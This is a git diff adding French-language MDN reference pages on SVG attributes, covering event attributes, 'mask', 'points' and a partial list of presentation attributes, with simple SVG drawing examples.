+<p><strong><code>onbegin</code></strong>, <strong><code>onend</code></strong>, <strong><code>onrepeat</code></strong></p>
+
+<h4 id="Événements_du_document"><a href="/fr/docs/Web/SVG/Attribute/Events#Document_Event_Attributes">Événements du document</a></h4>
+
+<p><strong><code>onabort</code></strong>, <strong><code>onerror</code></strong>, <strong><code>onresize</code></strong>, <strong><code>onscroll</code></strong>, <strong><code>onunload</code></strong></p>
+
+<h4 id="Événements_globaux"><a href="/fr/docs/Web/SVG/Attribute/Events#Global_Event_Attributes">Événements globaux</a></h4>
+
+<p><code><strong>oncancel</strong></code>, <code><strong>oncanplay</strong></code>, <code><strong>oncanplaythrough</strong></code>, <code><strong>onchange</strong></code>, <code><strong>onclick</strong></code>, <code><strong>onclose</strong></code>, <code><strong>oncuechange</strong></code>, <code><strong>ondblclick</strong></code>, <code><strong>ondrag</strong></code>, <code><strong>ondragend</strong></code>, <code><strong>ondragenter</strong></code>, <code><strong>ondragexit</strong></code>, <code><strong>ondragleave</strong></code>, <code><strong>ondragover</strong></code>, <code><strong>ondragstart</strong></code>, <code><strong>ondrop</strong></code>, <code><strong>ondurationchange</strong></code>, <code><strong>onemptied</strong></code>, <code><strong>onended</strong></code>, <code><strong>onerror</strong></code>, <code><strong>onfocus</strong></code>, <code><strong>oninput</strong></code>, <code><strong>oninvalid</strong></code>, <code><strong>onkeydown</strong></code>, <code><strong>onkeypress</strong></code>, <code><strong>onkeyup</strong></code>, <code><strong>onload</strong></code>, <code><strong>onloadeddata</strong></code>, <code><strong>onloadedmetadata</strong></code>, <code><strong>onloadstart</strong></code>, <code><strong>onmousedown</strong></code>, <code><strong>onmouseenter</strong></code>, <code><strong>onmouseleave</strong></code>, <code><strong>onmousemove</strong></code>, <code><strong>onmouseout</strong></code>, <code><strong>onmouseover</strong></code>, <code><strong>onmouseup</strong></code>, <code><strong>onmousewheel</strong></code>, <code><strong>onpause</strong></code>, <code><strong>onplay</strong></code>, <code><strong>onplaying</strong></code>, <code><strong>onprogress</strong></code>, <code><strong>onratechange</strong></code>, <code><strong>onreset</strong></code>, <code><strong>onresize</strong></code>, <code><strong>onscroll</strong></code>, <code><strong>onseeked</strong></code>, <code><strong>onseeking</strong></code>, <code><strong>onselect</strong></code>, <code><strong>onshow</strong></code>, <code><strong>onstalled</strong></code>, <code><strong>onsubmit</strong></code>, <code><strong>onsuspend</strong></code>, <code><strong>ontimeupdate</strong></code>, <code><strong>ontoggle</strong></code>, <code><strong>onvolumechange</strong></code>, <code><strong>onwaiting</strong></code></p>
+
+<h4 id="Événement_graphiques"><a href="/docs/Web/SVG/Attribute/Events#Graphical_Event_Attributes">Événement graphiques</a></h4>
+
+<p><strong><code>onactivate</code></strong>, <strong><code>onfocusin</code></strong>, <strong><code>onfocusout</code></strong></p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Element">Référence des éléments SVG</a></li>
+ <li><a href="/fr/docs/Web/SVG/Tutoriel">Tutoriel SVG</a></li>
+ <li><a href="/fr/docs/Web/API/Document_Object_Model#Interfaces_SVG">Références des interfaces SVG</a></li>
+</ul>
diff --git a/files/fr/web/svg/attribute/mask/index.html b/files/fr/web/svg/attribute/mask/index.html
new file mode 100644
index 0000000000..a3145cc508
--- /dev/null
+++ b/files/fr/web/svg/attribute/mask/index.html
@@ -0,0 +1,86 @@
+---
+title: mask
+slug: Web/SVG/Attribute/mask
+translation_of: Web/SVG/Attribute/mask
+---
+<div>{{SVGRef}}</div>
+
+<p>L'attribut <code>mask</code> est un attribut de présentation principalement utilisé pour appliquer un trou (défini par un élément {{ SVGElement("mask") }}) sur l'élément qui possède cet attribut.</p>
+
+<p class="note"><strong>Note:</strong> On peut aussi utiliser l'attribut {{cssxref('mask')}} en CSS.</p>
+
+<div id="topExample">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;mask id="monMask" maskContentUnits="objectBoundingBox"&gt;
+    &lt;rect    fill="white" x="0" y="0" width="100%" height="100%" /&gt;
+    &lt;polygon fill="black" points="0.5,0.2 0.68,0.74 0.21,0.41 0.79,0.41 0.32,0.74" /&gt;
+  &lt;/mask&gt;
+
+  &lt;!-- Fait un trou de la forme d'une étoile sur le cercle rouge,
+  ce qui laisse apparaître le cercle jaune situé dessous. --&gt;
+  &lt;circle cx="50" cy="50" r="20" fill="yellow" /&gt;
+  &lt;circle cx="50" cy="50" r="45" fill="red"
+          mask="url(#monMask)"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('topExample', '100%', 150)}}</p>
+</div>
+
+<p>Depuis SVG2, l'attribut {{cssxref('mask')}} est défini comme une propriété CSS et comme une propriété raccourcie pour beaucoup d'autres propriétés: {{cssxref('mask-image')}}, {{cssxref('mask-mode')}}, {{cssxref('mask-repeat')}}, {{cssxref('mask-position')}}, {{cssxref('mask-clip')}}, {{cssxref('mask-origin')}}, {{cssxref('mask-size')}} et {{cssxref('mask-composite')}}.</p>
+
+<p>Étant un attribut de présentation, il peut être appliqué sur n'importe quel élément, mais il a un effet visible surtout sur les éléments suivants: {{SVGElement('a')}}, {{SVGElement('circle')}}, {{SVGElement('clipPath')}}, {{SVGElement('ellipse')}}, {{SVGElement('g')}}, {{SVGElement('glyph')}}, {{SVGElement('image')}}, {{SVGElement('line')}}, {{SVGElement('marker')}}, {{SVGElement('mask')}}, {{SVGElement('path')}}, {{SVGElement('pattern')}}, {{SVGElement('polygon')}}, {{SVGElement('polyline')}}, {{SVGElement('rect')}}, {{SVGElement('svg')}}, {{SVGElement('symbol')}}, {{SVGElement('text')}} et {{SVGElement('use')}}.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td>Voir la propriété CSS {{cssxref('mask')}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><code>none</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animable</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("svg.attributes.presentation.mask")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Masks", "#the-mask", 'mask')}}</td>
+   <td>{{Spec2("CSS Masks")}}</td>
+   <td>
+    <p>Étend cet usage pour les éléments HTML en créant un raccourci pour les nouvelles propriétés <code>mask-*</code> défini dans cette spécification.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'masking.html#MaskProperty', 'mask')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/svg/attribute/points/index.html b/files/fr/web/svg/attribute/points/index.html
new file mode 100644
index 0000000000..7c78fd2030
--- /dev/null
+++ b/files/fr/web/svg/attribute/points/index.html
@@ -0,0 +1,142 @@
+---
+title: points
+slug: Web/SVG/Attribute/points
+translation_of: Web/SVG/Attribute/points
+---
+<div>{{SVGRef}}</div>
+
+<p>L'attribut <code><strong>point</strong></code> défini une liste de points. Chaque point est défini par deux nombres représentant les coordonnées X et Y dans le système de coordonnées de l'utilisateur. Si une coordonnées est dépareillée elle sera ignorée.</p>
+
+<p>Les éléments {{SVGElement("polyline")}} et {{SVGElement("polygon")}} utilisent cet attribut.</p>
+
+<div id="topExample">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="-10 -10 220 120" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!-- polyline est une forme ouverte --&gt;
+  &lt;polyline stroke="black" fill="none"
+   points="50,0 21,90 98,35 2,35 79,90"/&gt;
+
+  &lt;!-- polygon est une forme fermée --&gt;
+  &lt;polygon stroke="black" fill="none" transform="translate(100,0)"
+   points="50,0 21,90 98,35 2,35 79,90"/&gt;
+
+  &lt;!--
+  Il est généralement recommendé de séparer les valeurs X et Y
+  avec une virgule et les coordonées avec des espaces.
+  Cela est plus lisible.
+  --&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('topExample', '100%', 200)}}</p>
+</div>
+
+<h2 id="polyline">polyline</h2>
+
+<p>Pour un élément {{SVGElement('polyline')}}, <code>points</code> défini une liste de point, chaqu'un représente le vecteur pour tracer la ligne. Chaque point est défini par X et Y dans le système de coordonées de l'utilisateur.</p>
+
+<p class="note"><strong>Remarque:</strong> Un polygone est une forme ouverte, ce qui implique que le dernier point n'est pas connecté au premier point.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td>[ {{cssxref("number")}}+ ]#</td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><em>aucune</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Peut être animé</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Exemple">Exemple</h3>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="-10 -10 120 120" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!-- polyline est une forme ouverte --&gt;
+  &lt;polyline stroke="black" fill="none"
+   points="50,0 21,90 98,35 2,35 79,90"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('polyline', '100%', 200)}}</p>
+
+<h2 id="polygon">polygon</h2>
+
+<p>Pour un élément {{SVGElement('polyline')}}, <code>points</code> défini une liste de point, chaqu'un représente le vecteur pour tracer la ligne. Chaque point est défini par X et Y dans le système de coordonées de l'utilisateur.</p>
+
+<p class="note"><strong>Remarque:</strong> Un polygone est une forme fermée, ce qui implique que le dernier point est connecté au premier.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Valeur</th>
+   <td>[ {{cssxref("number")}}+ ]#</td>
+  </tr>
+  <tr>
+   <th scope="row">Valeur par défaut</th>
+   <td><em>aucune</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Peut être animé</th>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Example">Example</h3>
+
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="-10 -10 120 120" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!-- polygon est une forme fermée --&gt;
+  &lt;polygon stroke="black" fill="none"
+   points="50,0 21,90 98,35 2,35 79,90" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('polygon', '100%', 200)}}</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG2", "shapes.html#PolygonElementPointsAttribute", "points")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Définition de <code>&lt;polygon&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG2", "shapes.html#PolylineElementPointsAttribute", "points")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Définition de <code>&lt;polyline&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "shapes.html#PolygonElementPointsAttribute", "points")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale de <code>&lt;polygon&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "shapes.html#PolylineElementPointsAttribute", "points")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale de <code>&lt;polyline&gt;</code></td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/svg/attribute/presentation/index.html b/files/fr/web/svg/attribute/presentation/index.html
new file mode 100644
index 0000000000..4d6ed7e8d3
--- /dev/null
+++ b/files/fr/web/svg/attribute/presentation/index.html
@@ -0,0 +1,278 @@
+---
+title: Attributs SVG de présentation
+slug: Web/SVG/Attribute/Presentation
+translation_of: Web/SVG/Attribute/Presentation
+---
+<p>{{draft}}</p>
+
+<p>Les <em>attributs SVG de présentation</em> sont des propriétés CSS pouvant être utilisées comme attributs sur les éléments SVG</p>
+
+<div class="index">
+<ul>
+ <li><a href="#attr-alignment-baseline">alignment-baseline</a></li>
+ <li><a href="#attr-baseline-shift">baseline-shift</a></li>
+ <li><a href="#attr-clip">clip</a></li>
+ <li><a href="#attr-clip-path">clip-path</a></li>
+ <li><a href="#attr-clip-rule">clip-rule</a></li>
+ <li><a href="#attr-color">color</a></li>
+ <li><a href="#attr-color-interpolation">color-interpolation</a></li>
+ <li><a href="#attr-color-interpolation-filters">color-interpolation-filters</a></li>
+ <li><a href="#attr-color-profile">color-profile</a></li>
+ <li><a href="#attr-color-rendering">color-rendering</a></li>
+ <li><a href="#attr-cursor">cursor</a></li>
+ <li><a href="#attr-direction">direction</a></li>
+ <li><a href="#attr-display">display</a></li>
+ <li><a href="#attr-dominant-baseline">dominant-baseline</a></li>
+ <li><a href="#attr-enable-background">enable-background</a></li>
+ <li><a href="#attr-fill">fill</a></li>
+ <li><a href="#attr-fill-opacity">fill-opacity</a></li>
+ <li><a href="#attr-fill-rule">fill-rule</a></li>
+ <li><a href="#attr-filter">filter</a></li>
+ <li><a href="#attr-flood-color">flood-color</a></li>
+ <li><a href="#attr-flood-opacity">flood-opacity</a></li>
+ <li><a href="#attr-font-family">font-family</a></li>
+ <li><a href="#attr-font-size">font-size</a></li>
+ <li><a href="#attr-font-size-adjust">font-size-adjust</a></li>
+ <li><a href="#attr-font-stretch">font-stretch</a></li>
+ <li><a href="#attr-font-style">font-style</a></li>
+ <li><a href="#attr-font-variant">font-variant</a></li>
+ <li><a href="#attr-font-weight">font-weight</a></li>
+ <li><a href="#attr-glyph-orientation-horizontal">glyph-orientation-horizontal</a></li>
+ <li><a href="#attr-glyph-orientation-vertical">glyph-orientation-vertical</a></li>
+ <li><a href="#attr-image-rendering">image-rendering</a></li>
+ <li><a href="#attr-kerning">kerning</a></li>
+ <li><a href="#attr-letter-spacing">letter-spacing</a></li>
+ <li><a href="#attr-lighting-color">lighting-color</a></li>
+ <li><a href="#attr-marker-end">marker-end</a></li>
+ <li><a href="#attr-marker-mid">marker-mid</a></li>
+ <li><a href="#attr-marker-start">marker-start</a></li>
+ <li><a href="#attr-mask">mask</a></li>
+ <li><a href="#attr-opacity">opacity</a></li>
+ <li><a href="#attr-overflow">overflow</a></li>
+ <li><a href="#attr-pointer-events">pointer-events</a></li>
+ <li><a href="#attr-shape-rendering">shape-rendering</a></li>
+ <li><a href="#attr-solid-color">solid-color</a></li>
+ <li><a href="#attr-solid-opacity">solid-opacity</a></li>
+ <li><a href="#attr-stop-color">stop-color</a></li>
+ <li><a href="#attr-stop-opacity">stop-opacity</a></li>
+ <li><a href="#attr-stroke">stroke</a></li>
+ <li><a href="#attr-stroke-dasharray">stroke-dasharray</a></li>
+ <li><a href="#attr-stroke-dashoffset">stroke-dashoffset</a></li>
+ <li><a href="#attr-stroke-linecap">stroke-linecap</a></li>
+ <li><a href="#attr-stroke-linejoin">stroke-linejoin</a></li>
+ <li><a href="#attr-stroke-miterlimit">stroke-miterlimit</a></li>
+ <li><a href="#attr-stroke-opacity">stroke-opacity</a></li>
+ <li><a href="#attr-stroke-width">stroke-width</a></li>
+ <li><a href="#attr-text-anchor">text-anchor</a></li>
+ <li><a href="#attr-text-decoration">text-decoration</a></li>
+ <li><a href="#attr-text-rendering">text-rendering</a></li>
+ <li><a href="#attr-transform">transform</a></li>
+ <li><a href="#attr-unicode-bidi">unicode-bidi</a></li>
+ <li><a href="#attr-vector-effect">vector-effect</a></li>
+ <li><a href="#attr-visibility">visibility</a></li>
+ <li><a href="#attr-word-spacing">word-spacing</a></li>
+ <li><a href="#attr-writing-mode">writing-mode</a></li>
+</ul>
+</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p> </p>
+
+<dl>
+ <dt id="attr-alignment-baseline">{{SVGAttr('alignment-baseline')}}</dt>
+ <dd>Spécifie comment un objet est aligné sur la ligne de pied de la police par rapport à son parent.<br>
+ <small><em>Valeur</em>: <strong><code>auto</code></strong>|<code>baseline</code>|<code>before-edge</code>|<code>text-before-edge</code>|<code>middle</code>|<code>central</code>|<code>after-edge</code>|<code>text-after-edge</code>|<code>ideographic</code>|<code>alphabetic</code>|<code>hanging</code>|<code>mathematical</code>|<code>inherit</code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-baseline-shift">{{SVGAttr('baseline-shift')}}</dt>
+ <dd>Permet de positionner la ligne de pied de l'élément par rapport à celle de son parent.<br>
+ <small><em>Valeur</em>: <strong><code>auto</code></strong>|<code>baseline</code>|<code>super</code>|<code>sub</code>|<a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a>|<a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a>|<code>inherit</code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-clip">{{SVGAttr('clip')}} {{deprecated_inline('css')}}</dt>
+ <dd>Définit quelle partie d'un élément est visible.<br>
+ <small><em>Valeur</em>: <strong><code>auto</code></strong>|{{cssxref("shape")}}|<code>inherit</code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-clip-path">{{SVGAttr('clip-path')}}</dt>
+ <dd>Associe un chemin de détourage {{SVGElement('clipPath')}} à l'élément.<br>
+ <small><em>Valeur</em>: <strong><code>none</code></strong>|<a href="/docs/Web/SVG/Content_type#FuncIRI">&lt;FuncIRI&gt;</a>|<code>inherit</code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-clip-rule">{{SVGAttr('clip-rule')}}</dt>
+ <dd>Indique la règle de remplissage à appliquer sur un élément {{SVGElement('clipPath')}}.<br>
+ <small><em>Valeur</em>: <strong><code>nonezero</code></strong>|<code>evenodd</code>|<code>inherit</code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-color">{{SVGAttr('color')}}</dt>
+ <dd>Définit la valeur potentielle (valeur de <code>currentColor</code>) pour les attributs de présentation <code>fill</code>, <code>stroke</code>, <code>stop-color</code>, <code>flood-color</code> et <code>lighting-color</code>.<br>
+ <small><em>Valeur</em>: <a href="/docs/Web/SVG/Content_type#Color">&lt;color&gt;</a>|<code>inherit</code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-color-interpolation">{{SVGAttr('color-interpolation')}}</dt>
+ <dd>Spécifie l'espace colométrique pour les interpolations de dégradés, les animations couleur et composition alpha.<br>
+ <small><em>Valeur</em>: <code>auto</code>|<strong><code>sRGB</code></strong>|<code>linearRGB</code>|<code>inherit</code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-color-interpolation-filters">{{SVGAttr('color-interpolation-filters')}}</dt>
+ <dd>Spécifie l'espace colométrique pour les opérations effectuées via des effets de filtre.<br>
+ <small><em>Valeur</em>: <code>auto</code>|<code>sRGB</code>|<strong><code>linearRGB</code></strong>|<code>inherit</code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-color-profile">{{SVGAttr('color-profile')}} {{deprecated_inline('svg2')}}</dt>
+ <dd>Définit le profil de couleur qu'une image bitmap incluse via l'élément {{SVGElement('image')}} doit utiliser.<br>
+ <small><em>Valeur</em>: <code>auto</code>|<code>sRGB</code>|<code>linearRGB</code>|<a href="/docs/Web/SVG/Content_type#Name">&lt;name&gt;</a>|<a href="/docs/Web/SVG/Content_type#IRI">&lt;IRI&gt;</a>|<code>inherit</code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-color-rendering">{{SVGAttr('color-rendering')}}</dt>
+ <dd>Indique au navigateur comment optimiser ses opérations d'interpolation et de composition des couleurs.<br>
+ <small><em>Valeur</em>: <strong><code>auto</code></strong>|<code>optimizeSpeed</code>|<code>optimizeQuality</code>|<code>inherit</code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-cursor">{{SVGAttr('cursor')}}</dt>
+ <dd>Spécifie le curseur affiché lorsque la souris passe au-desuss de l'élément.<br>
+ <small><em>Valeur</em>: <a href="/docs/Web/SVG/Content_type#FuncIRI">&lt;FuncIRI&gt;</a>|<a href="/docs/Web/CSS/cursor#Values">&lt;keywords&gt;</a>|<code>inherit</code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-direction">{{SVGAttr('direction')}}</dt>
+ <dd>Spécifie la direction d'écriture du texte.<br>
+ <small><em>Valeur</em>: <strong><code>ltr</code></strong>|<code>rtl</code>|<code>inherit</code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-display">{{SVGAttr('display')}}</dt>
+ <dd>Permet de contrôler le rendu d'éléments graphiques ou conteneurs.<br>
+ <small><em>Valeur</em>: see css {{cssxref('display')}}; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-dominant-baseline">{{SVGAttr('dominant-baseline')}}</dt>
+ <dd>Définit la ligne de pied utilisée pour aligner le texte.<br>
+ <small><em>Valeur</em>: <code>auto</code>|<code>text-bottom</code>|<code>alphabetic</code>|<code>ideographic</code>|<code>middle</code>|<code>central</code>| <code>mathematical</code>|<code>hanging</code>|<code>text-top</code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-enable-background">{{SVGAttr('enable-background')}} {{deprecated_inline('svg2')}}</dt>
+ <dd>Indique au navigateur comment gérer l'image d'arrière plan.<br>
+ <small><em>Valeur</em>: <strong><code>accumulate</code></strong>|<code>new</code>|<code>inherit</code>; <em>Animation</em>: <strong>Non</strong></small></dd>
+ <dt id="attr-fill">{{SVGAttr('fill')}}</dt>
+ <dd>Définit la couleur de remplissage d'un élément graphique.<br>
+ <small><em>Valeur</em>: <a href="/docs/Web/SVG/Content_type#Paint">&lt;paint&gt;</a>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-fill-opacity">{{SVGAttr('fill-opacity')}}</dt>
+ <dd>Définit l'opacité du remplissage de l'élément.<br>
+ <small><em>Valeur</em>: <a href="/docs/Web/SVG/Content_type#Number">&lt;number&gt;</a>|<a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-fill-rule">{{SVGAttr('fill-rule')}}</dt>
+ <dd>Indique comment déterminer quelles parties du chemin se trouvent à l'intérieur de la forme.<br>
+ <small><em>Valeur</em>: <strong><code>nonzero</code></strong>|<code>evenodd</code>|<code>inherit</code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-filter">{{SVGAttr('filter')}}</dt>
+ <dd>Applique un filtre, définit par un élément {{SVGElement('filter')}}, à l'élément.<br>
+ <small><em>Valeur</em>: <a href="/docs/Web/SVG/Content_type#FuncIRI">&lt;FuncIRI&gt;</a>|<strong><code>none</code></strong>|<code>inherit</code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-flood-color">{{SVGAttr('flood-color')}}</dt>
+ <dd>Indique quelle couleur utiliser pour remplir la région du filtre, définit par les éléments {{SVGElement('feFlood')}} ou {{SVGElement('feDropShadow')}}.<br>
+ <small><em>Valeur</em>: <a href="/docs/Web/SVG/Content_type#Color">&lt;color&gt;</a>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-flood-opacity">{{SVGAttr('flood-opacity')}}</dt>
+ <dd>Indique l'opacité à utiliser pour remplir la région du filtre, définit par les éléments {{SVGElement('feFlood')}} ou {{SVGElement('feDropShadow')}}.<br>
+ <small><em>Valeur</em>: <a href="/docs/Web/SVG/Content_type#Number">&lt;number&gt;</a>|<a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-font-family">{{SVGAttr('font-family')}}</dt>
+ <dd>Indique la police utiliser pour restituer le texte de l'élément.<br>
+ <small><em>Valeur</em>: see css {{cssxref('font-family')}}; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-font-size">{{SVGAttr('font-size')}}</dt>
+ <dd>Spécifie la taille de la police.<br>
+ <small><em>Valeur</em>: see css {{cssxref('font-size')}}; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-font-size-adjust">{{SVGAttr('font-size-adjust')}}</dt>
+ <dd>Spécifie que la taille de la police doit être choisit en se basant sur la taille des lettres minuscules et non des majuscules.<br>
+ <small><em>Valeur</em>: <a href="/docs/Web/SVG/Content_type#Number">&lt;number&gt;</a>|<code><strong>none</strong></code>|<code>inherit</code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-font-stretch">{{SVGAttr('font-stretch')}}</dt>
+ <dd>Sélectionne la version normale, condensée ou espacée d'une police.<br>
+ <small><em>Valeur</em>: see css {{cssxref('font-stretch')}}; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-font-style">{{SVGAttr('font-style')}}</dt>
+ <dd>Spécifie si la police doit être stylisée en normal, italique ou oblique.<br>
+ <small><em>Valeur</em>: <strong><code>normal</code></strong>|<code>italic</code>|<code>oblique</code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-font-variant">{{SVGAttr('font-variant')}}</dt>
+ <dd>Spécifie si une police doit utiliser certaines variations, telles que les petites majuscules ou les ligatures.<br>
+ <small><em>Valeur</em>: see css {{cssxref('font-variant')}}; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-font-weight">{{SVGAttr('font-weight')}}</dt>
+ <dd>Spécifie l'épaisseur (ou graisse) de la police.<br>
+ <small><em>Valeur</em>: <strong><code>normal</code></strong>|<code>bold</code>|<code>lighter</code>|<code>bolder</code>|<code>100</code>|<code>200</code>|<code>300</code>|<code>400</code>|<code>500</code>|<code>600</code>|<code>700</code>|<code>800</code>|<code>900</code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-glyph-orientation-horizontal">{{SVGAttr('glyph-orientation-horizontal')}} {{deprecated_inline('svg2')}}</dt>
+ <dd>Contrôle l'orientation des glyphes lorsque la direction en ligne est horizontale.<br>
+ <small><em>Valeur</em>: <a href="/docs/Web/SVG/Content_type#Angle">&lt;angle&gt;</a>|<code>inherit</code>; <em>Animation</em>: <strong>Non</strong></small></dd>
+ <dt id="attr-glyph-orientation-vertical">{{SVGAttr('glyph-orientation-vertical')}} {{deprecated_inline('svg2')}}</dt>
+ <dd>Contrôle l'orientation des glyphes lorsque la direction en ligne est verticale.<br>
+ <small><em>Valeur</em>: <strong><code>auto</code></strong>|<a href="/docs/Web/SVG/Content_type#Angle">&lt;angle&gt;</a>|<code>inherit</code>; <em>Animation</em>: <strong>Non</strong></small></dd>
+ <dt id="attr-image-rendering">{{SVGAttr('image-rendering')}}</dt>
+ <dd>Indique au navigateur le compromis à effectuer entre vitesse et qualité du rendu des images.<br>
+ <small><em>Valeur</em>: <strong><code>auto</code></strong>|<code>optimizeQuality</code>|<code>optimizeSpeed</code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-kerning">{{SVGAttr('kerning')}} {{deprecated_inline('svg2')}}</dt>
+ <dd>Indique au navigateur s'il doit ajuster l'espacement entre les glyphes.<br>
+ <small><em>Valeur</em>: <strong><code>auto</code></strong>|<a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a>|<code>inherit</code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-letter-spacing">{{SVGAttr('letter-spacing')}}</dt>
+ <dd>Contrôle l'espacement entre les caratères du texte.<br>
+ <small><em>Valeur</em>: <strong><code>normal</code></strong>|<a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a>|<code>inherit</code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-lighting-color">{{SVGAttr('lighting-color')}}</dt>
+ <dd>Définit la couleur de la source de lumière pour les filtres {{SVGElement('feDiffuseLighting')}} et {{SVGElement('feSpecularLighting')}}.<br>
+ <small><em>Valeur</em>: <a href="/docs/Web/SVG/Content_type#Color">&lt;color&gt;</a>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-marker-end">{{SVGAttr('marker-end')}}</dt>
+ <dd>Définit la pointe de la flèche ou polymarker dessiné à la fin de l'élément {{SVGElement('path')}} ou ou de la forme.<br>
+ <small><em>Valeur</em>: <a href="/docs/Web/SVG/Content_type#FuncIRI">&lt;FuncIRI&gt;</a>|<strong><code>none</code></strong>|<code>inherit</code>; <em>Animation</em>: <strong>Oui</strong></small></dd>
+ <dt id="attr-marker-mid">{{SVGAttr('marker-mid')}}</dt>
+ <dd>Définit la pointe de la flèche ou polymarker dessiné entre chaque segment de l'élément {{SVGElement('path')}} ou de la forme.<br>
